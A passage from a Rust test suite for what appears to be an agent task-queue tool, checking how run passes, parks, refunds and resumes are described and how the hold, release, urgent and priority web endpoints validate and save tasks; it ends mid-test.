13970            f.edges[2].label,
13971            "stalled after a resume, refund unknown \u{2192} queued"
13972        );
13973        assert!(!f.nodes[2].decided, "a stall is not a decision");
13974        assert_eq!(f.nodes[2].note, Some("no verdict"));
13975    }
13976
13977    #[test]
13978    fn flow_single_pass_quota_stall_is_refunded() {
13979        let t = flow_task(&[FA]);
13980        let f = flow_for(
13981            &t,
13982            &[(
13983                FA,
13984                Some(flow_run(RunStatus::Stalled, |s| {
13985                    s.quota.push(crate::run::QuotaLoss {
13986                        seat: "judge-1".to_owned(),
13987                        node: "judge".to_owned(),
13988                        at: Timestamp::now(),
13989                        reset: None,
13990                    })
13991                })),
13992            )],
13993        );
13994        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
13995    }
13996
13997    #[test]
13998    fn flow_parked_refunds_and_stall_without_quota_spends() {
13999        let mut t = flow_task(&[FA]);
14000        t.status = TaskStatus::Queued;
14001        let f = flow_for(
14002            &t,
14003            &[(
14004                FA,
14005                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
14006            )],
14007        );
14008        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
14009        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
14010        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
14011        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
14012        assert!(!f.nodes[1].decided);
14013    }
14014
14015    #[test]
14016    fn flow_keeps_an_unreadable_run_as_its_own_node() {
14017        let t = flow_task(&[FA, FB]);
14018        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
14019        assert_eq!(f.nodes[1].note, Some("unreadable"));
14020        assert!(!f.nodes[1].readable);
14021        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
14022        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
14023    }
14024
14025    #[test]
14026    fn flow_names_the_branch_of_a_review_only_run() {
14027        let t = flow_task(&[FA]);
14028        let f = flow_for(
14029            &t,
14030            &[(
14031                FA,
14032                Some(flow_run(RunStatus::Merged, |s| {
14033                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
14034                })),
14035            )],
14036        );
14037        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
14038        assert_eq!(
14039            f.nodes[1].detail.as_deref(),
14040            Some("review-only run of branch magi/x/A")
14041        );
14042    }
14043
14044    #[test]
14045    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
14046        let mut t = flow_task(&[FA]);
14047        t.status = TaskStatus::Held;
14048        let pr = crate::run::PrRecord {
14049            url: "https://example.test/pr/1".to_owned(),
14050            number: 1,
14051            state: "open".to_owned(),
14052            checks: "green".to_owned(),
14053            round: 0,
14054            rounds: 3,
14055            red_at_merge: Vec::new(),
14056        };
14057        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
14058        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
14059        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
14060        t.status = TaskStatus::Done;
14061        let f = flow_for(&t, &[(FA, Some(blocked))]);
14062        assert_eq!(f.edges[1].label, "closed by hand: task is done");
14063    }
14064
14065    #[test]
14066    fn flow_with_no_runs_goes_from_queued_to_queued() {
14067        let t = flow_task(&[]);
14068        let f = flow_for(&t, &[]);
14069        assert_eq!(f.nodes.len(), 2);
14070        assert_eq!(f.edges.len(), 1);
14071        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
14072        assert_eq!(f.edges[0].attempt, AttemptCost::None);
14073    }
14074
14075    /// A run parked mid-flight keeps a non-terminal status; the page must
14076    /// still say why it stopped and that the attempt came back.
14077    #[test]
14078    fn a_parked_non_terminal_run_is_explained_as_parked() {
14079        let mut s = RunState::new(
14080            PathBuf::from("/repo/magi"),
14081            "main".to_owned(),
14082            "0123456789abcdef".to_owned(),
14083            "Do it".to_owned(),
14084            Config::default(),
14085        );
14086        s.status = RunStatus::Implementing;
14087        s.parked = true;
14088        let task = Task::new(
14089            "t".to_owned(),
14090            "Do it".to_owned(),
14091            PathBuf::from("/repo/magi"),
14092            Source::Human,
14093        );
14094        let v = task_run_view(
14095            "20260902-140501-aaaa",
14096            Some(&s),
14097            RunSlot {
14098                n: 1,
14099                resumed: false,
14100                resumed_later: None,
14101                prior: None,
14102                last: true,
14103                ..RunSlot::default()
14104            },
14105            &task,
14106        );
14107        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
14108    }
14109
14110    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
14111        let mut s = flow_run(RunStatus::Implementing, edit);
14112        s.parked = false;
14113        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
14114        task_run_view(
14115            "20260902-140501-aaaa",
14116            Some(&s),
14117            RunSlot {
14118                n: 1,
14119                resumed: false,
14120                resumed_later: Some(2),
14121                prior: None,
14122                last: false,
14123                ..RunSlot::default()
14124            },
14125            &task,
14126        )
14127    }
14128
14129    #[test]
14130    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
14131        let v = earlier_pass_view(|_| {});
14132        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
14133        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
14134        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
14135        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
14136        assert_eq!(v.exit, RunExit::Interrupted);
14137        assert_eq!(v.attempt, AttemptCost::Unknown);
14138    }
14139
14140    #[test]
14141    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
14142        let v = earlier_pass_view(|s| {
14143            s.quota.push(crate::run::QuotaLoss {
14144                seat: "judge-1".to_owned(),
14145                node: "judge".to_owned(),
14146                at: Timestamp::now(),
14147                reset: None,
14148            });
14149        });
14150        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
14151        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
14152        assert_eq!(v.attempt, AttemptCost::Unknown);
14153    }
14154
14155    #[test]
14156    fn the_current_pass_states_its_recorded_cause_and_cost() {
14157        let slot = || RunSlot {
14158            n: 1,
14159            resumed: false,
14160            resumed_later: None,
14161            prior: None,
14162            last: true,
14163            ..RunSlot::default()
14164        };
14165        let task = flow_task(&["20260902-140501-aaaa"]);
14166        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
14167        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
14168        assert_eq!(
14169            (v.exit, v.attempt),
14170            (RunExit::Parked, AttemptCost::Refunded)
14171        );
14172        let spent = flow_run(RunStatus::Blocked, |_| {});
14173        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
14174        assert_eq!(v.attempt, AttemptCost::Spent);
14175        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
14176    }
14177
14178    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
14179        crate::run::RunPass {
14180            index,
14181            started_at: Timestamp::now(),
14182            resumed: index > 0,
14183            ended_at: end.as_ref().map(|_| Timestamp::now()),
14184            end,
14185            task_entry: true,
14186        }
14187    }
14188
14189    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
14190        Some(crate::run::PassEnd::Parked { cause })
14191    }
14192
14193    fn upgrade_cause() -> crate::run::ParkCause {
14194        crate::run::ParkCause::Upgrade {
14195            from: "0.121.0".to_owned(),
14196            to: Some("0.121.1".to_owned()),
14197        }
14198    }
14199
14200    fn settled_pass(
14201        run: &str,
14202        index: usize,
14203        cost: crate::queue::PassCost,
14204    ) -> crate::queue::TaskPass {
14205        crate::queue::TaskPass {
14206            run: run.to_owned(),
14207            pass_index: index,
14208            cost,
14209            attempts_after: 1,
14210            settled_at: Timestamp::now(),
14211            parked: None,
14212        }
14213    }
14214
14215    const RUN_X: &str = "20261011-223708-4334";
14216
14217    #[test]
14218    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
14219        use crate::queue::PassCost;
14220        let run = flow_run(RunStatus::Implementing, |s| {
14221            s.passes = vec![
14222                recorded_pass(0, parked(upgrade_cause())),
14223                recorded_pass(1, None),
14224            ];
14225        });
14226        let mut task = flow_task(&[RUN_X, RUN_X]);
14227        task.attempts = 1;
14228        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
14229        let h = task_history(&task, |_| Some(run.clone()));
14230        assert_eq!(h.len(), 2);
14231        assert_eq!(h[0].kind, "competition");
14232        assert_eq!(h[1].kind, "resume");
14233        assert_eq!(
14234            (h[0].exit, h[0].attempt),
14235            (RunExit::Parked, AttemptCost::Refunded)
14236        );
14237        assert!(
14238            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
14239            "{}",
14240            h[0].outcome
14241        );
14242        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
14243        assert!(
14244            h[0].outcome.contains("pass #2 resumed the same run"),
14245            "{}",
14246            h[0].outcome
14247        );
14248        assert!(
14249            h[0].outcome.contains("pass 1 of 2 over run"),
14250            "{}",
14251            h[0].outcome
14252        );
14253        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
14254        assert_eq!(
14255            h[0].exit_label,
14256            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
14257        );
14258        let f = task_flow(&task, &h, 2, None);
14259        // Two passes of one run, one of two attempts consumed.
14260        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
14261        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
14262        assert!(
14263            f.edges[1].label.contains("upgrade 0.121.0"),
14264            "{}",
14265            f.edges[1].label
14266        );
14267        assert!(
14268            f.edges[1].label.contains("resume the same run"),
14269            "{}",
14270            f.edges[1].label
14271        );
14272        assert_eq!(f.nodes[1].note, Some("parked"));
14273    }
14274
14275    #[test]
14276    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
14277        let mut a = flow_run(RunStatus::Implementing, |s| {
14278            s.passes = vec![
14279                recorded_pass(0, parked(upgrade_cause())),
14280                recorded_pass(1, None),
14281            ];
14282        });
14283        let mut b = flow_run(RunStatus::Failed, |s| {
14284            s.passes = vec![recorded_pass(0, None)];
14285        });
14286        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
14287        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
14288        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
14289        let mut task = flow_task(&[]);
14290        task.start("a".into());
14291        task.start("b".into());
14292        task.start("a".into());
14293        assert_eq!(task.runs, ["b", "a"]);
14294        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
14295        let h = task_history(&task, |id| {
14296            Some(if id == "a" { a.clone() } else { b.clone() })
14297        });
14298        assert_eq!(
14299            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
14300            ["a", "b", "a"]
14301        );
14302        assert_eq!(h[0].attempt, AttemptCost::Refunded);
14303        assert!(h[0].outcome.contains("upgrade"));
14304        assert_eq!(h[2].kind, "resume");
14305        assert!(h[2].pass.is_some());
14306        // The old repeated-id format must show the same recorded passes.
14307        task.runs = vec!["a".into(), "b".into(), "a".into()];
14308        let old = task_history(&task, |id| {
14309            Some(if id == "a" { a.clone() } else { b.clone() })
14310        });
14311        assert_eq!(
14312            old.iter()
14313                .map(|v| (&v.id, &v.kind, v.attempt))
14314                .collect::<Vec<_>>(),
14315            h.iter()
14316                .map(|v| (&v.id, &v.kind, v.attempt))
14317                .collect::<Vec<_>>()
14318        );
14319    }
14320
14321    #[test]
14322    fn an_upgrade_whose_target_was_not_known_says_so() {
14323        let run = flow_run(RunStatus::Implementing, |s| {
14324            s.passes = vec![
14325                recorded_pass(
14326                    0,
14327                    parked(crate::run::ParkCause::Upgrade {
14328                        from: "0.121.0".to_owned(),
14329                        to: None,
14330                    }),
14331                ),
14332                recorded_pass(1, None),
14333            ];
14334        });
14335        let task = flow_task(&[RUN_X, RUN_X]);
14336        let h = task_history(&task, |_| Some(run.clone()));
14337        assert!(
14338            h[0].outcome.contains("upgrade from 0.121.0"),
14339            "{}",
14340            h[0].outcome
14341        );
14342        // No settle record: the refund is not claimed.
14343        assert_eq!(h[0].attempt, AttemptCost::Unknown);
14344    }
14345
14346    #[test]
14347    fn each_pass_keeps_its_own_cause_across_several_resumes() {
14348        use crate::queue::PassCost;
14349        use crate::run::ParkCause;
14350        let run = flow_run(RunStatus::Implementing, |s| {
14351            s.passes = vec![
14352                recorded_pass(0, parked(upgrade_cause())),
14353                recorded_pass(
14354                    1,
14355                    parked(ParkCause::Interrupt {
14356                        reason: "task a1b2 asked to run first".to_owned(),
14357                    }),
14358                ),
14359                recorded_pass(2, parked(ParkCause::Operator)),
14360                recorded_pass(3, None),
14361            ];
14362        });
14363        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
14364        task.attempts = 1;
14365        task.passes = (0..3)
14366            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
14367            .collect();
14368        let h = task_history(&task, |_| Some(run.clone()));
14369        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
14370        assert!(
14371            h[1].outcome.contains("task a1b2 asked to run first"),
14372            "{}",
14373            h[1].outcome
14374        );
14375        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
14376        assert!(
14377            h[2].outcome.contains("operator asked the loop to park"),
14378            "{}",
14379            h[2].outcome
14380        );
14381        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
14382        let f = task_flow(&task, &h, 2, None);
14383        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
14384    }
14385
14386    #[test]
14387    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
14388        let run = flow_run(RunStatus::Implementing, |s| {
14389            s.passes = vec![
14390                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
14391                recorded_pass(1, None),
14392            ];
14393        });
14394        let task = flow_task(&[RUN_X, RUN_X]);
14395        let h = task_history(&task, |_| Some(run.clone()));
14396        assert_eq!(h[0].exit, RunExit::Interrupted);
14397        assert_eq!(h[0].attempt, AttemptCost::Unknown);
14398        assert!(
14399            h[0].outcome.contains("without recording why"),
14400            "{}",
14401            h[0].outcome
14402        );
14403        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
14404        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
14405    }
14406
14407    #[test]
14408    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
14409        use crate::queue::PassCost;
14410        // Three entries, but the run only began keeping passes at the last
14411        // two: the first is legacy and must not be given a cause.
14412        let run = flow_run(RunStatus::Implementing, |s| {
14413            s.passes = vec![
14414                recorded_pass(0, parked(upgrade_cause())),
14415                recorded_pass(1, None),
14416            ];
14417        });
14418        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
14419        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
14420        let h = task_history(&task, |_| Some(run.clone()));
14421        assert!(h[0].pass.is_none());
14422        assert_eq!(h[0].exit, RunExit::Interrupted);
14423        assert_eq!(h[0].attempt, AttemptCost::Unknown);
14424        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
14425        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
14426        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
14427        // A run with no passes at all is entirely unknown.
14428        let legacy = flow_run(RunStatus::Implementing, |_| {});
14429        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
14430        assert!(h.iter().all(|v| v.pass.is_none()));
14431        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
14432    }
14433
14434    #[test]
14435    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
14436        use crate::queue::PassCost;
14437        // Pass 1 is a web-button resume: a pass of the run, no entry of the
14438        // task. The two entries are passes 0 and 2.
14439        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
14440        web.task_entry = false;
14441        let run = flow_run(RunStatus::Implementing, |s| {
14442            s.passes = vec![
14443                recorded_pass(0, parked(upgrade_cause())),
14444                web.clone(),
14445                recorded_pass(2, None),
14446            ];
14447        });
14448        let mut task = flow_task(&[RUN_X, RUN_X]);
14449        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
14450        let h = task_history(&task, |_| Some(run.clone()));
14451        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
14452        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
14453
14454        // Legacy first entry, then a web resume that parked for an upgrade,
14455        // then the daemon's pass: the legacy entry must stay unknown.
14456        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
14457        web0.task_entry = false;
14458        let run = flow_run(RunStatus::Implementing, |s| {
14459            s.passes = vec![web0.clone(), recorded_pass(1, None)];
14460        });
14461        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
14462        assert!(h[0].pass.is_none());
14463        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
14464        assert!(h[1].pass.is_some());
14465    }
14466
14467    #[tokio::test]
14468    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
14469        let dir = tempfile::tempdir().unwrap();
14470        let queue = Queue::at(dir.path().join("queue"));
14471        let ui = Arc::new(Ui::new(
14472            queue.clone(),
14473            Questions::at(dir.path().join("questions")),
14474            Talks::at(dir.path().join("talks")),
14475            dir.path().join("runs"),
14476            dir.path().to_path_buf(),
14477            dir.path().to_path_buf(),
14478        ));
14479        let mut t = Task::new(
14480            "recover".into(),
14481            "Inspect".into(),
14482            PathBuf::from("."),
14483            Source::Human,
14484        );
14485        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
14486        t.start("run-A".into());
14487        t.release_operator("choice", Some("resume-question"));
14488        t.resume_override = Some(crate::queue::OperatorResume {
14489            question_id: "resume-question".into(),
14490            at: jiff::Timestamp::now(),
14491            conductor_rehold: None,
14492            forced: true,
14493            pinned_run: Some("run-A".into()),
14494        });
14495        t.hold_machine(Some("inspection pending".into()));
14496        t.edit("recover".into(), "Reuse approved PR head".into())
14497            .unwrap();
14498        queue.put(&mut t).unwrap();
14499        let mut cli = t.clone();
14500        cli.release_operator("cli", None);
14501        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
14502        let reloaded = queue.get(&t.id).unwrap();
14503        assert_eq!(reply.task.status, TaskStatus::Queued);
14504        assert!(reloaded.resume_override.is_none());
14505        assert_eq!(reloaded.answers, t.answers);
14506        let mut web = reloaded.resumption.unwrap();
14507        let cli = cli.resumption.unwrap();
14508        assert_eq!(web.source, "web");
14509        web.source = cli.source.clone();
14510        web.at = cli.at;
14511        assert_eq!(web, cli);
14512    }
14513
14514    #[tokio::test]
14515    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
14516        let f = Fixture::start().await;
14517        let queue = f.queue();
14518        let mut task = Task::new(
14519            "spent".to_owned(),
14520            "Try again".to_owned(),
14521            PathBuf::from("/repo/magi"),
14522            Source::Human,
14523        );
14524        task.start("20260902-140502-bbbb".to_owned());
14525        task.fail("agent gave up", 9);
14526        queue.put(&mut task).expect("file the task");
14527
14528        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
14529        assert_eq!(held.status, 200);
14530        assert_eq!(held.json()["status_str"], "held");
14531
14532        let released = f
14533            .post(&format!("/api/queue/{}/release", task.id), None)
14534            .await;
14535        assert_eq!(released.status, 200);
14536        assert_eq!(released.json()["status_str"], "queued");
14537        assert_eq!(released.json()["resumption"]["source"], "web");
14538        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
14539        let mut cli = task.clone();
14540        cli.release_operator("cli", None);
14541        let web = queue.get(&task.id).unwrap().resumption.unwrap();
14542        let cli = cli.resumption.unwrap();
14543        assert_eq!(web.instruction, cli.instruction);
14544        assert_eq!(web.answers_through, cli.answers_through);
14545        assert_eq!(web.runs_through, cli.runs_through);
14546        assert_eq!(web.cleared_reason, cli.cleared_reason);
14547        assert_eq!(
14548            released.json()["attempts"],
14549            0,
14550            "release is a real second chance, not an instant re-hold"
14551        );
14552        assert_eq!(
14553            queue.get(&task.id).expect("reload").status,
14554            TaskStatus::Queued,
14555            "the change is on disk, not only in the reply"
14556        );
14557        assert!(
14558            !f.home
14559                .path()
14560                .join("queue")
14561                .join(format!("{}.lock", task.id))
14562                .exists(),
14563            "the claim the mutation took is released again"
14564        );
14565    }
14566
14567    #[tokio::test]
14568    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
14569        let f = Fixture::start().await;
14570        let queue = f.queue();
14571        let mut task = Task::new(
14572            "busy".to_owned(),
14573            "Running right now".to_owned(),
14574            PathBuf::from("/repo/magi"),
14575            Source::Human,
14576        );
14577        queue.put(&mut task).expect("file the task");
14578        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
14579
14580        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
14581
14582        assert_eq!(res.status, 409);
14583        assert_eq!(
14584            queue.get(&task.id).expect("reload").status,
14585            TaskStatus::Queued,
14586            "the refused hold changed nothing"
14587        );
14588    }
14589
14590    #[tokio::test]
14591    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
14592        let f = Fixture::start().await;
14593        let queue = f.queue();
14594        let mut task = Task::new(
14595            "waiting on the migration".to_owned(),
14596            "Do the thing".to_owned(),
14597            PathBuf::from("/repo/magi"),
14598            Source::Human,
14599        );
14600        queue.put(&mut task).expect("file the task");
14601
14602        let held = f
14603            .post(
14604                &format!("/api/queue/{}/hold", task.id),
14605                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
14606            )
14607            .await;
14608        assert_eq!(held.status, 200, "{}", held.body);
14609        assert_eq!(held.json()["status_str"], "held");
14610        assert_eq!(
14611            held.json()["hold_reason"],
14612            "waiting for 20260101-000000-aaaa to land"
14613        );
14614
14615        let listed = f.get("/api/queue").await.json();
14616        assert_eq!(
14617            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
14618            "the card reads the reason off the same list route"
14619        );
14620
14621        // A hold with no body at all must keep working - most holds have no
14622        // reason to give.
14623        let mut plain = Task::new(
14624            "no reason given".to_owned(),
14625            "Do another thing".to_owned(),
14626            PathBuf::from("/repo/magi"),
14627            Source::Human,
14628        );
14629        queue.put(&mut plain).expect("file the task");
14630        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
14631        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
14632        assert!(held_plain.json()["hold_reason"].is_null());
14633
14634        let released = f
14635            .post(&format!("/api/queue/{}/release", task.id), None)
14636            .await;
14637        assert_eq!(released.status, 200);
14638        assert!(
14639            released.json()["hold_reason"].is_null(),
14640            "a release must clear the reason so the next hold does not inherit it"
14641        );
14642    }
14643
14644    #[test]
14645    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
14646        for urgent in [true, false] {
14647            let body: UrgentBody =
14648                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
14649            assert_eq!(body.urgent, urgent);
14650        }
14651        for input in [
14652            r#"{}"#,
14653            r#"{"urgent":null}"#,
14654            r#"{"urgent":"true"}"#,
14655            r#"{"urgent":1}"#,
14656            r#"{"urgent":true,"extra":false}"#,
14657        ] {
14658            assert!(
14659                serde_json::from_str::<UrgentBody>(input).is_err(),
14660                "{input}"
14661            );
14662        }
14663    }
14664
14665    #[tokio::test]
14666    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
14667        let home = TempDir::new().unwrap();
14668        let q = Queue::at(home.path().join("queue"));
14669        let ui = Arc::new(Ui::new(
14670            q.clone(),
14671            Questions::at(home.path().join("questions")),
14672            Talks::at(home.path().join("talks")),
14673            home.path().join("runs"),
14674            home.path().into(),
14675            home.path().into(),
14676        ));
14677        let mut task = Task::new(
14678            "urgent handler".into(),
14679            "keep".into(),
14680            home.path().into(),
14681            Source::Human,
14682        );
14683        for status in [TaskStatus::Queued, TaskStatus::Held] {
14684            task.status = status;
14685            q.put(&mut task).unwrap();
14686            for urgent in [true, true, false, false] {
14687                let saved = queue_urgent(
14688                    State(Arc::clone(&ui)),
14689                    Path(task.short().into()),
14690                    Ok(Json(UrgentBody { urgent })),
14691                )
14692                .await
14693                .unwrap();
14694                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
14695                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
14696            }
14697        }
14698        task.status = TaskStatus::Queued;
14699        q.put(&mut task).unwrap();
14700        let claim = q.claim(&task.id).unwrap();
14701        let error = queue_urgent(
14702            State(Arc::clone(&ui)),
14703            Path(task.id.clone()),
14704            Ok(Json(UrgentBody { urgent: true })),
14705        )
14706        .await
14707        .unwrap_err();
14708        assert_eq!(error.status, StatusCode::CONFLICT);
14709        assert!(error.message.contains("released"));
14710        drop(claim);
14711        for status in [
14712            TaskStatus::Running,
14713            TaskStatus::Done,
14714            TaskStatus::Failed,
14715            TaskStatus::Blocked,
14716            TaskStatus::Parked,
14717        ] {
14718            task.status = status;
14719            q.put(&mut task).unwrap();
14720            let error = queue_urgent(
14721                State(Arc::clone(&ui)),
14722                Path(task.id.clone()),
14723                Ok(Json(UrgentBody { urgent: false })),
14724            )
14725            .await
14726            .unwrap_err();
14727            assert_eq!(error.status, StatusCode::BAD_REQUEST);
14728            assert!(error.message.contains(status.as_str()));
14729        }
14730    }
14731
14732    #[tokio::test]
14733    async fn urgent_api_updates_preserves_and_validates_tasks() {
14734        let f = Fixture::start().await;
14735        let q = f.queue();
14736        let mut t = Task::new(
14737            "urgent API".into(),
14738            "unchanged".into(),
14739            PathBuf::from("/repo/magi"),
14740            Source::Human,
14741        );
14742        t.attempts = 2;
14743        t.priority = 9;
14744        t.interrupt = true;
14745        t.hold_reason = Some("waiting for approval".into());
14746        for status in [TaskStatus::Queued, TaskStatus::Held] {
14747            t.status = status;
14748            q.put(&mut t).unwrap();
14749            for urgent in [true, true, false, false] {
14750                let response = f
14751                    .post(
14752                        &format!("/api/queue/{}/urgent", t.short()),
14753                        Some(&format!("{{\"urgent\":{urgent}}}")),
14754                    )
14755                    .await;
14756                assert_eq!(response.status, 200, "{}", response.body);
14757                assert_eq!(response.json()["urgent"], urgent);
14758                let saved = q.get(&t.id).unwrap();
14759                let mut before = serde_json::to_value(&t).unwrap();
14760                let mut after = serde_json::to_value(saved).unwrap();
14761                before["urgent"] = urgent.into();
14762                before.as_object_mut().unwrap().remove("updated_at");
14763                after.as_object_mut().unwrap().remove("updated_at");
14764                assert_eq!(after, before);
14765            }
14766        }
14767        let route = format!("/api/queue/{}/urgent", t.id);
14768        for body in [
14769            r#"{}"#,
14770            r#"{"urgent":null}"#,
14771            r#"{"urgent":"true"}"#,
14772            r#"{"urgent":1}"#,
14773            r#"{"urgent":true,"extra":false}"#,
14774            "{",
14775        ] {
14776            assert_eq!(f.post(&route, Some(body)).await.status, 400);
14777        }
14778        t.status = TaskStatus::Queued;
14779        q.put(&mut t).unwrap();
14780        let claim = q.claim(&t.id).unwrap();
14781        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
14782        assert_eq!(response.status, 409, "{}", response.body);
14783        assert!(!q.get(&t.id).unwrap().urgent);
14784        drop(claim);
14785        for status in [
14786            TaskStatus::Running,
14787            TaskStatus::Done,
14788            TaskStatus::Failed,
14789            TaskStatus::Blocked,
14790            TaskStatus::Parked,
14791        ] {
14792            t.status = status;
14793            q.put(&mut t).unwrap();
14794            for urgent in [true, false] {
14795                let response = f
14796                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
14797                    .await;
14798                assert_eq!(response.status, 400, "{}", response.body);
14799                assert!(response.body.contains(status.as_str()));
14800                assert!(response.body.contains("queued or held"));
14801                assert!(!q.get(&t.id).unwrap().urgent);
14802            }
14803        }
14804        assert_eq!(
14805            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
14806                .await
14807                .status,
14808            404
14809        );
14810    }
14811
14812    #[tokio::test]
14813    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
14814        let f = Fixture::start().await;
14815        let queue = f.queue();
14816        let mut older = Task::new(
14817            "filed first".to_owned(),
14818            "x".to_owned(),
14819            PathBuf::from("/repo/magi"),
14820            Source::Human,
14821        );
14822        older.id = "20260101-000001-aaaa".to_owned();
14823        let mut newer = Task::new(
14824            "filed second".to_owned(),
14825            "x".to_owned(),
14826            PathBuf::from("/repo/magi"),
14827            Source::Human,
14828        );
14829        newer.id = "20260101-000002-bbbb".to_owned();
14830        queue.put(&mut older).expect("file older");
14831        queue.put(&mut newer).expect("file newer");
14832
14833        // Equal priority: the newer task leads, the same order the old
14834        // newest-first `list()` already gave every equal-priority queue.
14835        let before = f.get("/api/queue").await.json();
14836        assert_eq!(before[0]["id"], newer.id);
14837        assert_eq!(before[1]["id"], older.id);
14838
14839        // Raising the *older* task is the meaningful case: it can only lead
14840        // now because its priority says so, not because it happens to be
14841        // newest.
14842        let raised = f
14843            .post(
14844                &format!("/api/queue/{}/priority", older.id),
14845                Some(r#"{"priority":10}"#),
14846            )
14847            .await;
14848        assert_eq!(raised.status, 200, "{}", raised.body);
14849        assert_eq!(raised.json()["priority"], 10);
14850
14851        let after = f.get("/api/queue").await.json();
14852        let names: Vec<&str> = after
14853            .as_array()
14854            .unwrap()
14855            .iter()
14856            .map(|t| t["id"].as_str().unwrap())
14857            .collect();
